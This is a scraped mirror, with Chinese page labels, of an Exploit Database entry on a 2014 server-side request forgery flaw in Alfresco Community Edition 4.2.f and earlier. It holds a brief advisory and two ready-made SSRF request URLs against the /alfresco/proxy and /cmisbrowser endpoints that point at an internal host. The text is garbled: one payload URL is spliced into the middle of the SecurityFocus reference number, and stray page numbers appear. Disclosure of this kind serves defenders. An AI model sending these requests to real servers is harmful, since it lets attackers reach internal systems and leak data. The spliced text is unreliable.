Alfresco – ‘/cmisbrowser?url’ Server-Side Request Forgery

• Exploit Database
• 105 阅读

• 作者： V. Paulikas
  日期： 2014-07-16
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39259/
• 1 2 3 4 5 6 7 8 9 10 11 12

  source: https://www.securityfocus.com/bid/68/info   http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info Alfresco Community Edition is prone to multiple security vulnerabilities. An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions. Alfresco Community Edition 4.2.f and earlier are vulnerable.   http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port